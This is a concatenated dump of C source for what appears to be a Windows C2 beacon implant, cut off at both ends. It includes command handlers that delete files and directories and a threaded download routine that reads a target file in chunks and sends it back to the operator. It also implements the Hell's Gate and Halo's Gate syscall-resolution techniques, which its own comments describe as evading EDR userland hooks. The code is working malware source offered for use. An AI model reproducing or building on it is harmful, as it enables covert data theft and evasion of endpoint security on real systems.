= "Mkdir success: "; unsigned char* result = (unsigned char*)malloc(strlen(Mkdirstr)+ commandBuflen); memcpy(result, Mkdirstr, strlen(Mkdirstr)); memcpy(result+ strlen(Mkdirstr), cmdBuf, commandBuflen); *Bufflen = strlen(Mkdirstr) + (size_t)commandBuflen; return result; } unsigned char* fileRemove(unsigned char* cmdBuf, size_t* commandBuflen, size_t* Bufflen) { cmdBuf[(size_t)commandBuflen] = '\0'; struct stat path_stat; stat(cmdBuf, &path_stat); if (S_ISDIR(path_stat.st_mode)) { rmdir(cmdBuf); } else { remove(cmdBuf); } remove(cmdBuf); unsigned char* Removestr = "Remove success: "; unsigned char* result = (unsigned char*)malloc(strlen(Removestr) + commandBuflen); memcpy(result, Removestr, strlen(Removestr)); memcpy(result+ strlen(Removestr), cmdBuf, commandBuflen); *Bufflen = strlen(Removestr) + (size_t)commandBuflen; return result; } struct ThreadArgs { unsigned char* buf; size_t* commandBuflen; size_t* Bufflen; }; DWORD WINAPI myThreadFunction(LPVOID lpParam) { // ̵߳߼ Sleep(2000); struct ThreadArgs* args = (struct ThreadArgs*)lpParam; unsigned char* buf = args->buf; size_t* commandBuflen = args->commandBuflen; size_t* Bufflen = args->Bufflen; printf("%d", args->commandBuflen); struct stat fileInfo; args->buf[(size_t)args->commandBuflen] = '\0'; stat(args->buf, &fileInfo); off_t fileLen = fileInfo.st_size; uint32_t fileLens = (uint32_t)fileLen; //GenerateEvenRandomInt uint8_t fileLenBytes[4]; PutUint32BigEndian(fileLenBytes, fileLens); uint32_t rand = (uint32_t)GenerateEvenRandomInt(10000, 99999); uint8_t requestIDBytes[4]; PutUint32BigEndian(requestIDBytes, rand); uint8_t* metaInfoBytes[] = { requestIDBytes, fileLenBytes,args->buf }; size_t metaInfosizes[] = { 4,4,(size_t)args->commandBuflen }; size_t metaInfoBytesArrays = sizeof(metaInfoBytes) / sizeof(metaInfoBytes[0]); uint8_t* metaInfoconcatenated = ConByte(metaInfoBytes, metaInfosizes, metaInfoBytesArrays); size_t metaInfoSize = 0; // sizeof ֵܺ for (size_t i = 0; i < sizeof(metaInfosizes) / sizeof(metaInfosizes[0]); ++i) { metaInfoSize += metaInfosizes[i]; } DataProcess(metaInfoconcatenated, metaInfoSize, 2); FILE* fileHandle = fopen(args->buf, "rb"); if (fileHandle == NULL) { return; } char* fileBuf = malloc(1024 * 1024); if (fileBuf == NULL) { fclose(fileHandle); return; } size_t bytesRead; size_t resultSize = 0; while ((bytesRead = fread(fileBuf, 1, 1024 * 1024, fileHandle)) > 0) { // ﴦȡļ uint8_t* metaInfoBytes1[] = { requestIDBytes, fileBuf }; size_t metaInfosizes1[] = { 4,bytesRead }; size_t metaInfoBytesArrays1 = sizeof(metaInfoBytes1) / sizeof(metaInfoBytes1[0]); uint8_t* metaInfoconcatenated1 = ConByte(metaInfoBytes1, metaInfosizes1, metaInfoBytesArrays1); size_t metaInfoSize1 = 0; // sizeof ֵܺ for (size_t i = 0; i < sizeof(metaInfosizes1) / sizeof(metaInfosizes1[0]); ++i) { metaInfoSize1 += metaInfosizes1[i]; } //sprintf(result, "%08X%s", requestIDBytes, fileBuf); // ݴ DataProcess(metaInfoconcatenated1, metaInfoSize1,8); resultSize += metaInfoSize1; if (resultSize > 1024 * 1024 * 10) { char metaInfoSize1String[20]; // Assuming a reasonable buffer size snprintf(metaInfoSize1String, sizeof(metaInfoSize1String), "%zu", resultSize); // Assign the string to a char* char* charPointer = strdup(metaInfoSize1String); char* jia = "[+] Dowload Size "; char* kong = " "; unsigned char* result = (unsigned char*)malloc(26+ (size_t)args->commandBuflen); memcpy(result, jia, 18); memcpy(result+18, args->buf, (size_t)args->commandBuflen); memcpy(result + 18 + (size_t)args->commandBuflen, kong, 2); memcpy(result + 20+ (size_t)args->commandBuflen, charPointer, 8); DataProcess(result, 28+ (size_t)args->commandBuflen, 0); resultSize = 0; } // 50 // ע⣺ʵӦпҪʹøȷĵȴ Sleep(50); } //fclose(fileHandle); //uint8_t* metaInfoBytes2[] = { requestIDBytes }; //size_t metaInfosizes2[] = { 4 }; //size_t metaInfoBytesArrays2 = sizeof(metaInfoBytes2) / sizeof(metaInfoBytes2[0]); //uint8_t* metaInfoconcatenated2 = ConByte(metaInfoBytes2, metaInfosizes2, metaInfoBytesArrays2); //size_t metaInfoSize2 = 0; //// sizeof ֵܺ //for (size_t i = 0; i < sizeof(metaInfosizes2) / sizeof(metaInfosizes2[0]); ++i) { // metaInfoSize2 += metaInfosizes2[i]; //} unsigned char* requestIDByte = (unsigned char*)malloc(4); memcpy(requestIDByte, requestIDBytes,4); DataProcess(requestIDByte, 4, 9); return 0; } unsigned char* Download(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen) { //pthread_t myThread; struct ThreadArgs* args = (struct ThreadArgs*)malloc(sizeof(struct ThreadArgs)); if (args == NULL) { // ڴʧܵ return NULL; } args->buf = buf; args->commandBuflen = commandBuflen; //// ߳ //if (pthread_create(&myThread, NULL, myThreadFunction, &args) != 0) { // fprintf(stderr, "Failed to create thread\n"); // return 1; //} //// ߳Ϊ״̬ //if (pthread_detach(myThread) != 0) { // fprintf(stderr, "Failed to detach thread\n"); // return 1; //} HANDLE myThread = CreateThread( NULL, // Ḭ̆߳ȫ 0, // Ĭ϶ջС myThreadFunction, // ̺߳ args, // ݸ̺߳IJ 0, // Ĭϴ־ NULL); // 洢߳ID if (myThread == NULL) { fprintf(stderr, "Failed to create thread. Error code: %lu\n", GetLastError()); return 1; } //WaitForSingleObject(myThread, INFINITE); // ر̺߳¼ CloseHandle(myThread); unsigned char* Removestr = "[+] Downloading "; unsigned char* result = (unsigned char*)malloc(strlen(Removestr) + commandBuflen); memcpy(result, Removestr, strlen(Removestr)); memcpy(result + strlen(Removestr), buf, commandBuflen); *Bufflen = strlen(Removestr) + (size_t)commandBuflen; return result; } ================================================ FILE: Beacon/GuangMing.c ================================================ /* Author: Bobby Cooke @0xBoku | https://github.com/boku7 | https://0xBoku.com | https://www.linkedin.com/in/bobby-cooke/ Credits / References: Pavel Yosifovich (@zodiacon),Reenz0h from @SEKTOR7net, @smelly__vx & @am0nsec ( Creators/Publishers of the Hells Gate technique) */ #include #include "GuangMing.h" #include PVOID ntdll = NULL; PVOID ntdllExportTable = NULL; PVOID ntdllExAddrTbl = NULL; PVOID ntdllExNamePtrTbl = NULL; PVOID ntdllExOrdinalTbl = NULL; const char SyscallString[] = "NtAllocateVirtualMemory"; DWORD SyscallLen = 0; PVOID SyscallAddr = NULL; DWORD SyscallNumber = 0; SYSTEM_PROCESS_INFORMATION* procinfo; DWORD GetSyscallNumber(char* Page, int SyscallLen) { char SyscallString[32]; memcpy(SyscallString, Page, SyscallLen); SyscallString[SyscallLen] = '\0'; printf("###################################################################\r\n"); // Use Position Independent Shellcode to resolve the address of NTDLL and its export tables ntdll = getntdll(); printf("[+] %p : NTDLL Base Address\r\n", ntdll); ntdllExportTable = getExportTable(ntdll); printf("[+] %p : NTDLL Export Table Address\r\n", ntdllExportTable); ntdllExAddrTbl = getExAddressTable(ntdllExportTable, ntdll); printf("[+] %p : NTDLL Export Address Table Address\r\n", ntdllExAddrTbl); ntdllExNamePtrTbl = getExNamePointerTable(ntdllExportTable, ntdll); printf("[+] %p : NTDLL Export Name Pointer Table Address\r\n", ntdllExNamePtrTbl); ntdllExOrdinalTbl = getExOrdinalTable(ntdllExportTable, ntdll); printf("[+] %p : NTDLL Export Ordinal Table Address\r\n", ntdllExOrdinalTbl); printf("###################################################################\r\n\r\n"); // Find the address of NTDLL.NtQuerySystemInformation by looping through NTDLL export tables //SyscallLen = strl(SyscallString); printf("[-] Looping through NTDLL Export tables to discover the address for NTDLL.%s..\r\n", SyscallString); SyscallAddr = getApiAddr( SyscallLen, SyscallString, ntdll, ntdllExAddrTbl, ntdllExNamePtrTbl, ntdllExOrdinalTbl ); printf("[+] %p : NTDLL.%s Address\r\n\r\n", SyscallAddr, SyscallString); printf("[-] Using HellsGate technique to discover syscall for %s..\r\n", SyscallString); SyscallNumber = findSyscallNumber(SyscallAddr); // HalosGate technique to recover the systemcall number. Used when stub in NTDLL is hooked. This evades/bypasses EDR Userland hooks if (SyscallNumber == 0) { printf("[!] Failed to discover the syscall number for . The API is likely hooked by EDR\r\n"); printf("[-] Using HalosGate technique to discover syscall for ..\r\n"); DWORD index = 0; while (SyscallNumber == 0) { index++; // Check for unhooked Sycall Above the target stub SyscallNumber = halosGateUp(SyscallAddr, index); if (SyscallNumber) { SyscallNumber = SyscallNumber - index; break; } // Check for unhooked Sycall Below the target stub SyscallNumber = halosGateDown(SyscallAddr, index); if (SyscallNumber) { SyscallNumber = SyscallNumber + index; break; } } } // Allocate the buffer for the process information returned from NtQuerySystemInformation //ULONG size = 1 << 18; //PVOID base_addr = NULL; //SIZE_T buffSize1 = (SIZE_T)size; //ULONG required = 0; // NtAllocateVirtualMemory return SyscallNumber; //// NtQuerySystemInformation //HellsGate(ntQrySysInfoSyscallNumber); //NTSTATUS status = HellDescent(SystemProcessInformation, base_addr, size, &required); //if (status == STATUS_BUFFER_TOO_SMALL) { // size = required + (1 << 14); // SIZE_T buffSize2 = size; // // NtAllocateVirtualMemory // HellsGate(SyscallNumber); // HellDescent((HANDLE)-1, &base_addr, 0, &buffSize2, MEM_COMMIT | MEM_RESERVE, SyscallString_READWRITE); //} //NTSTATUS status2 = HellDescent(SystemProcessInformation, base_addr, size, &required); //procinfo = (SYSTEM_PROCESS_INFORMATION*)base_addr; //while (TRUE) { // BOOL check = compExplorer(procinfo->ImageName.Buffer); // if (check == 1) { // printf("%ws | PID: %6u | PPID: %6u\n", // procinfo->ImageName.Buffer, // HandleToULong(procinfo->UniqueProcessId), // HandleToULong(procinfo->InheritedFromUniqueProcessId) // ); // break; // } // procinfo = (SYSTEM_PROCESS_INFORMATION*)((BYTE*)procinfo + procinfo->NextEntryOffset); //} //return; } ================================================ FILE: Beacon/GuangMing.h ================================================ #define RTL_MAX_DRIVE_LETTERS 32 DWORD GetSyscallNumber(char* Page,int len); extern VOID HellsGate(WORD wSystemCall); extern HellDescent(); EXTERN_C PVOID getntdll(); EXTERN_C PVOID getExportTable( IN PVOID moduleAddr ); EXTERN_C PVOID getExAddressTable( IN PVOID moduleExportTableAddr, IN PVOID moduleAddr ); EXTERN_C PVOID getExNamePointerTable( IN PVOID moduleExportTableAddr, IN PVOID moduleAddr ); EXTERN_C PVOID getExOrdinalTable( IN PVOID moduleExportTableAddr, IN PVOID moduleAddr ); EXTERN_C PVOID getApiAddr( IN DWORD apiNameStringLen, IN LPSTR apiNameString, IN PVOID moduleAddr, IN PVOID ExExAddressTable, IN PVOID ExNamePointerTable, IN PVOID ExOrdinalTable ); EXTERN_C DWORD findSyscallNumber( IN PVOID ntdllApiAddr ); EXTERN_C DWORD halosGate( IN PVOID ntdllApiAddr, IN WORD index ); EXTERN_C DWORD compExplorer( IN PVOID explorerWString ); typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _PS_ATTRIBUTE { ULONG Attribute; SIZE_T Size; union { ULONG Value; PVOID ValuePtr; } u1; PSIZE_T ReturnLength; } PS_ATTRIBUTE, * PPS_ATTRIBUTE; #define STATUS_BUFFER_TOO_SMALL 0xC0000004 typedef struct _RTL_DRIVE_LETTER_CURDIR { USHORT Flags; USHORT Length; ULONG TimeStamp; UNICODE_STRING DosPath; } RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR; typedef struct _CURDIR { UNICODE_STRING DosPath; PVOID Handle; } CURDIR, * PCURDIR; typedef struct _RTL_USER_PROCESS_PARAMETERS { ULONG MaximumLength; ULONG Length; ULONG Flags; ULONG DebugFlags; HANDLE ConsoleHandle; ULONG ConsoleFlags; HANDLE StandardInput; HANDLE StandardOutput; HANDLE StandardError; CURDIR CurrentDirectory; UNICODE_STRING DllPath; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine; PVOID Environment; ULONG StartingX; ULONG StartingY; ULONG CountX; ULONG CountY; ULONG CountCharsX; ULONG CountCharsY; ULONG FillAttribute; ULONG WindowFlags; ULONG ShowWindowFlags; UNICODE_STRING WindowTitle; UNICODE_STRING DesktopInfo; UNICODE_STRING ShellInfo; UNICODE_STRING RuntimeData; RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; ULONG EnvironmentSize; ULONG EnvironmentVersion; PVOID PackageDependencyData; ULONG ProcessGroupId; ULONG LoaderThreads; } RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; typedef enum _PS_CREATE_STATE { PsCreateInitialState, PsCreateFailOnFileOpen, PsCreateFailOnSectionCreate, PsCreateFailExeFormat, PsCreateFailMachineMismatch, PsCreateFailExeName, PsCreateSuccess, PsCreateMaximumStates } PS_CREATE_STATE, * PPS_CREATE_STATE; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef struct _PS_CREATE_INFO { SIZE_T Size; PS_CREATE_STATE State; union { // PsCreateInitialState struct { union { ULONG InitFlags; struct { UCHAR WriteOutputOnExit : 1; UCHAR DetectManifest : 1; UCHAR IFEOSkipDebugger : 1; UCHAR IFEODoNotPropagateKeyState : 1; UCHAR SpareBits1 : 4; UCHAR SpareBits2 : 8; USHORT ProhibitedImageCharacteristics : 16; }; }; ACCESS_MASK AdditionalFileAccess; } InitState; // PsCreateFailOnSectionCreate struct { HANDLE FileHandle; } FailSection; // PsCreateFailExeFormat struct { USHORT DllCharacteristics; } ExeFormat; // PsCreateFailExeName struct { HANDLE IFEOKey; } ExeName; // PsCreateSuccess struct { union { ULONG OutputFlags; struct { UCHAR ProtectedProcess : 1; UCHAR AddressSpaceOverride : 1; UCHAR DevOverrideEnabled : 1; // from Image File Execution Options UCHAR ManifestDetected : 1; UCHAR ProtectedProcessLight : 1; UCHAR SpareBits1 : 3; UCHAR SpareBits2 : 8; USHORT SpareBits3 : 16; }; }; HANDLE FileHandle; HANDLE SectionHandle; ULONGLONG UserProcessParametersNative; ULONG UserProcessParametersWow64; ULONG CurrentParameterFlags; ULONGLONG PebAddressNative; ULONG PebAddressWow64; ULONGLONG ManifestAddress; ULONG ManifestSize; } SuccessState; }; } PS_CREATE_INFO, * PPS_CREATE_INFO; typedef struct _PS_ATTRIBUTE_LIST { SIZE_T TotalLength; PS_ATTRIBUTE Attributes[1]; } PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST; typedef enum _KWAIT_REASON { Executive = 0, FreePage = 1, PageIn = 2, PoolAllocation = 3, DelayExecution = 4, Suspended = 5, UserRequest = 6, WrExecutive = 7, WrFreePage = 8, WrPageIn = 9, WrPoolAllocation = 10, WrDelayExecution = 11, WrSuspended = 12, WrUserRequest = 13, WrEventPair = 14, WrQueue = 15, WrLpcReceive = 16, WrLpcReply = 17, WrVirtualMemory = 18, WrPageOut = 19, WrRendezvous = 20, Spare2 = 21, Spare3 = 22, Spare4 = 23, Spare5 = 24, WrCalloutStack = 25, WrKernel = 26, WrResource = 27, WrPushLock = 28, WrMutex = 29, WrQuantumEnd = 30, WrDispatchInt = 31, WrPreempted = 32, WrYieldExecution = 33, WrFastMutex = 34, WrGuardedMutex = 35, WrRundown = 36, MaximumWaitReason = 37 } KWAIT_REASON; typedef LONG KPRIORITY; typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, * PCLIENT_ID; typedef struct _SYSTEM_THREAD_INFORMATION { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientId; KPRIORITY Priority; LONG BasePriority; ULONG ContextSwitches; ULONG ThreadState; KWAIT_REASON WaitReason; } SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION; typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfThreads; LARGE_INTEGER WorkingSetPrivateSize; // since VISTA ULONG HardFaultCount; // since WIN7 ULONG NumberOfThreadsHighWatermark; // since WIN7 ULONGLONG CycleTime; // since WIN7 LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; KPRIORITY BasePriority; HANDLE UniqueProcessId; HANDLE InheritedFromUniqueProcessId; ULONG HandleCount; ULONG SessionId; ULONG_PTR UniqueProcessKey; // since VISTA (requires SystemExtendedProcessInformation) SIZE_T PeakVirtualSize; SIZE_T VirtualSize; ULONG PageFaultCount; SIZE_T PeakWorkingSetSize; SIZE_T WorkingSetSize; SIZE_T QuotaPeakPagedPoolUsage; SIZE_T QuotaPagedPoolUsage; SIZE_T QuotaPeakNonPagedPoolUsage; SIZE_T QuotaNonPagedPoolUsage; SIZE_T PagefileUsage; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER ReadOperationCount; LARGE_INTEGER WriteOperationCount; LARGE_INTEGER OtherOperationCount; LARGE_INTEGER ReadTransferCount; LARGE_INTEGER WriteTransferCount; LARGE_INTEGER OtherTransferCount; SYSTEM_THREAD_INFORMATION Threads[1]; } SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; // source:http://www.microsoft.com/whdc/system/Sysinternals/MoreThan64proc.mspx // https://processhacker.sourceforge.io/doc/ntexapi_8h_source.html#l01202 typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation, // q: SYSTEM_BASIC_INFORMATION SystemProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION SystemPerformanceInformation, // q: SYSTEM_PERFORMANCE_INFORMATION SystemTimeOfDayInformation, // q: SYSTEM_TIMEOFDAY_INFORMATION SystemPathInformation, // not implemented SystemProcessInformation, // q: SYSTEM_PROCESS_INFORMATION SystemCallCountInformation, // q: SYSTEM_CALL_COUNT_INFORMATION SystemDeviceInformation, // q: SYSTEM_DEVICE_INFORMATION SystemProcessorPerformanceInformation, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION SystemFlagsInformation, // q: SYSTEM_FLAGS_INFORMATION SystemCallTimeInformation, // 10, not implemented SystemModuleInformation, // q: RTL_PROCESS_MODULES SystemLocksInformation, SystemStackTraceInformation, SystemPagedPoolInformation, // not implemented SystemNonPagedPoolInformation, // not implemented SystemHandleInformation, // q: SYSTEM_HANDLE_INFORMATION SystemObjectInformation, // q: SYSTEM_OBJECTTYPE_INFORMATION mixed with SYSTEM_OBJECT_INFORMATION SystemPageFileInformation, // q: SYSTEM_PAGEFILE_INFORMATION SystemVdmInstemulInformation, // q SystemVdmBopInformation, // 20, not implemented SystemFileCacheInformation, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemCache) SystemPoolTagInformation, // q: SYSTEM_POOLTAG_INFORMATION SystemInterruptInformation, // q: SYSTEM_INTERRUPT_INFORMATION SystemDpcBehaviorInformation, // q: SYSTEM_DPC_BEHAVIOR_INFORMATION; s: SYSTEM_DPC_BEHAVIOR_INFORMATION (requires SeLoadDriverPrivilege) SystemFullMemoryInformation, // not implemented SystemLoadGdiDriverInformation, // s (kernel-mode only) SystemUnloadGdiDriverInformation, // s (kernel-mode only) SystemTimeAdjustmentInformation, // q: SYSTEM_QUERY_TIME_ADJUST_INFORMATION; s: SYSTEM_SET_TIME_ADJUST_INFORMATION (requires SeSystemtimePrivilege) SystemSummaryMemoryInformation, // not implemented SystemMirrorMemoryInformation, // 30, s (requires license value "Kernel-MemoryMirroringSupported") (requires SeShutdownPrivilege) SystemPerformanceTraceInformation, // s SystemObsolete0, // not implemented SystemExceptionInformation, // q: SYSTEM_EXCEPTION_INFORMATION SystemCrashDumpStateInformation, // s (requires SeDebugPrivilege) SystemKernelDebuggerInformation, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION SystemContextSwitchInformation, // q: SYSTEM_CONTEXT_SWITCH_INFORMATION SystemRegistryQuotaInformation, // q: SYSTEM_REGISTRY_QUOTA_INFORMATION; s (requires SeIncreaseQuotaPrivilege) SystemExtendServiceTableInformation, // s (requires SeLoadDriverPrivilege) // loads win32k only SystemPrioritySeperation, // s (requires SeTcbPrivilege) SystemVerifierAddDriverInformation, // 40, s (requires SeDebugPrivilege) SystemVerifierRemoveDriverInformation, // s (requires SeDebugPrivilege) SystemProcessorIdleInformation, // q: SYSTEM_PROCESSOR_IDLE_INFORMATION SystemLegacyDriverInformation, // q: SYSTEM_LEGACY_DRIVER_INFORMATION SystemCurrentTimeZoneInformation, // q SystemLookasideInformation, // q: SYSTEM_LOOKASIDE_INFORMATION SystemTimeSlipNotification, // s (requires SeSystemtimePrivilege) SystemSessionCreate, // not implemented SystemSessionDetach, // not implemented SystemSessionInformation, // not implemented SystemRangeStartInformation, // 50, q SystemVerifierInformation, // q: SYSTEM_VERIFIER_INFORMATION; s (requires SeDebugPrivilege) SystemVerifierThunkExtend, // s (kernel-mode only) SystemSessionProcessInformation, // q: SYSTEM_SESSION_PROCESS_INFORMATION SystemLoadGdiDriverInSystemSpace, // s (kernel-mode only) (same as SystemLoadGdiDriverInformation) SystemNumaProcessorMap, // q SystemPrefetcherInformation, // q: PREFETCHER_INFORMATION; s: PREFETCHER_INFORMATION // PfSnQueryPrefetcherInformation SystemExtendedProcessInformation, // q: SYSTEM_PROCESS_INFORMATION SystemRecommendedSharedDataAlignment, // q SystemComPlusPackage, // q; s SystemNumaAvailableMemory, // 60 SystemProcessorPowerInformation, // q: SYSTEM_PROCESSOR_POWER_INFORMATION SystemEmulationBasicInformation, // q SystemEmulationProcessorInformation, SystemExtendedHandleInformation, // q: SYSTEM_HANDLE_INFORMATION_EX SystemLostDelayedWriteInformation, // q: ULONG SystemBigPoolInformation, // q: SYSTEM_BIGPOOL_INFORMATION SystemSessionPoolTagInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION SystemSessionMappedViewInformation, // q: SYSTEM_SESSION_MAPPED_VIEW_INFORMATION SystemHotpatchInformation, // q; s SystemObjectSecurityMode, // 70, q SystemWatchdogTimerHandler, // s (kernel-mode only) SystemWatchdogTimerInformation, // q (kernel-mode only); s (kernel-mode only) SystemLogicalProcessorInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION SystemWow64SharedInformationObsolete, // not implemented SystemRegisterFirmwareTableInformationHandler, // s (kernel-mode only) SystemFirmwareTableInformation, // not implemented SystemModuleInformationEx, // q: RTL_PROCESS_MODULE_INFORMATION_EX SystemVerifierTriageInformation, // not implemented SystemSuperfetchInformation, // q: SUPERFETCH_INFORMATION; s: SUPERFETCH_INFORMATION // PfQuerySuperfetchInformation SystemMemoryListInformation, // 80, q: SYSTEM_MEMORY_LIST_INFORMATION; s: SYSTEM_MEMORY_LIST_COMMAND (requires SeProfileSingleProcessPrivilege) SystemFileCacheInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (same as SystemFileCacheInformation) SystemThreadPriorityClientIdInformation, // s: SYSTEM_THREAD_CID_PRIORITY_INFORMATION (requires SeIncreaseBasePriorityPrivilege) SystemProcessorIdleCycleTimeInformation, // q: SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION[] SystemVerifierCancellationInformation, // not implemented // name:wow64:whNT32QuerySystemVerifierCancellationInformation SystemProcessorPowerInformationEx, // not implemented SystemRefTraceInformation, // q; s // ObQueryRefTraceInformation SystemSpecialPoolInformation, // q; s (requires SeDebugPrivilege) // MmSpecialPoolTag, then MmSpecialPoolCatchOverruns != 0 SystemProcessIdInformation, // q: SYSTEM_PROCESS_ID_INFORMATION SystemErrorPortInformation, // s (requires SeTcbPrivilege) SystemBootEnvironmentInformation, // 90, q: SYSTEM_BOOT_ENVIRONMENT_INFORMATION SystemHypervisorInformation, // q; s (kernel-mode only) SystemVerifierInformationEx, // q; s SystemTimeZoneInformation, // s (requires SeTimeZonePrivilege) SystemImageFileExecutionOptionsInformation, // s: SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION (requires SeTcbPrivilege) SystemCoverageInformation, // q; s // name:wow64:whNT32QuerySystemCoverageInformation; ExpCovQueryInformation SystemPrefetchPatchInformation, // not implemented SystemVerifierFaultsInformation, // s (requires SeDebugPrivilege) SystemSystemPartitionInformation, // q: SYSTEM_SYSTEM_PARTITION_INFORMATION SystemSystemDiskInformation, // q: SYSTEM_SYSTEM_DISK_INFORMATION SystemProcessorPerformanceDistribution, // 100, q: SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION SystemNumaProximityNodeInformation, // q SystemDynamicTimeZoneInformation, // q; s (requires SeTimeZonePrivilege) SystemCodeIntegrityInformation, // q // SeCodeIntegrityQueryInformation SystemProcessorMicrocodeUpdateInformation, // s SystemProcessorBrandString, // q // HaliQuerySystemInformation -> HalpGetProcessorBrandString, info class 23 SystemVirtualAddressInformation, // q: SYSTEM_VA_LIST_INFORMATION[]; s: SYSTEM_VA_LIST_INFORMATION[] (requires SeIncreaseQuotaPrivilege) // MmQuerySystemVaInformation SystemLogicalProcessorAndGroupInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX // since WIN7 // KeQueryLogicalProcessorRelationship SystemProcessorCycleTimeInformation, // q: SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION[] SystemStoreInformation, // q; s // SmQueryStoreInformation SystemRegistryAppendString, // 110, s: SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS SystemAitSamplingValue, // s: ULONG (requires SeProfileSingleProcessPrivilege) SystemVhdBootInformation, // q: SYSTEM_VHD_BOOT_INFORMATION SystemCpuQuotaInformation, // q; s // PsQueryCpuQuotaInformation SystemNativeBasicInformation, // not implemented SystemSpare1, // not implemented SystemLowPriorityIoInformation, // q: SYSTEM_LOW_PRIORITY_IO_INFORMATION SystemTpmBootEntropyInformation, // q: TPM_BOOT_ENTROPY_NT_RESULT // ExQueryTpmBootEntropyInformation SystemVerifierCountersInformation, // q: SYSTEM_VERIFIER_COUNTERS_INFORMATION SystemPagedPoolInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypePagedPool) SystemSystemPtesInformationEx, // 120, q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemPtes) SystemNodeDistanceInformation, // q SystemAcpiAuditInformation, // q: SYSTEM_ACPI_AUDIT_INFORMATION // HaliQuerySystemInformation -> HalpAuditQueryResults, info class 26 SystemBasicPerformanceInformation, // q: SYSTEM_BASIC_PERFORMANCE_INFORMATION // name:wow64:whNtQuerySystemInformation_SystemBasicPerformanceInformation SystemQueryPerformanceCounterInformation, // q: SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION // since WIN7 SP1 SystemSessionBigPoolInformation, // since WIN8 SystemBootGraphicsInformation, SystemScrubPhysicalMemoryInformation, SystemBadPageInformation, SystemProcessorProfileControlArea, SystemCombinePhysicalMemoryInformation, // 130 SystemEntropyInterruptTimingCallback, SystemConsoleInformation, SystemPlatformBinaryInformation, SystemThrottleNotificationInformation, SystemHypervisorProcessorCountInformation, SystemDeviceDataInformation, SystemDeviceDataEnumerationInformation, SystemMemoryTopologyInformation, SystemMemoryChannelInformation, SystemBootLogoInformation, // 140 SystemProcessorPerformanceInformationEx, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX // since WINBLUE SystemSpare0, SystemSecureBootPolicyInformation, SystemPageFileInformationEx, // q: SYSTEM_PAGEFILE_INFORMATION_EX SystemSecureBootInformation, SystemEntropyInterruptTimingRawInformation, SystemPortableWorkspaceEfiLauncherInformation, SystemFullProcessInformation, // q: SYSTEM_PROCESS_INFORMATION with SYSTEM_PROCESS_INFORMATION_EXTENSION (requires admin) SystemKernelDebuggerInformationEx, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX SystemBootMetadataInformation, // 150 SystemSoftRebootInformation, SystemElamCertificateInformation, SystemOfflineDumpConfigInformation, SystemProcessorFeaturesInformation, // q: SYSTEM_PROCESSOR_FEATURES_INFORMATION SystemRegistryReconciliationInformation, SystemEdidInformation, SystemManufacturingInformation, // q: SYSTEM_MANUFACTURING_INFORMATION // since THRESHOLD SystemEnergyEstimationConfigInformation, // q: SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION SystemHypervisorDetailInformation, // q: SYSTEM_HYPERVISOR_DETAIL_INFORMATION SystemProcessorCycleStatsInformation, // q: SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION // 160 SystemVmGenerationCountInformation, SystemTrustedPlatformModuleInformation, // q: SYSTEM_TPM_INFORMATION SystemKernelDebuggerFlags, SystemCodeIntegrityPolicyInformation, SystemIsolatedUserModeInformation, SystemHardwareSecurityTestInterfaceResultsInformation, SystemSingleModuleInformation, // q: SYSTEM_SINGLE_MODULE_INFORMATION SystemAllowedCpuSetsInformation, SystemDmaProtectionInformation, SystemInterruptCpuSetsInformation, SystemSecureBootPolicyFullInformation, SystemCodeIntegrityPolicyFullInformation, SystemAffinitizedInterruptProcessorInformation, SystemRootSiloInformation, // q: SYSTEM_ROOT_SILO_INFORMATION MaxSystemInfoClass } SYSTEM_INFORMATION_CLASS; ================================================ FILE: Beacon/Http.c ================================================ #include "Http.h" #include "Config.h" #include "Util.h" #define MAX_HEADER_SIZE 1024 //typedef struct { // size_t respsize; // char* resqresult; //}perform_requestresult; // 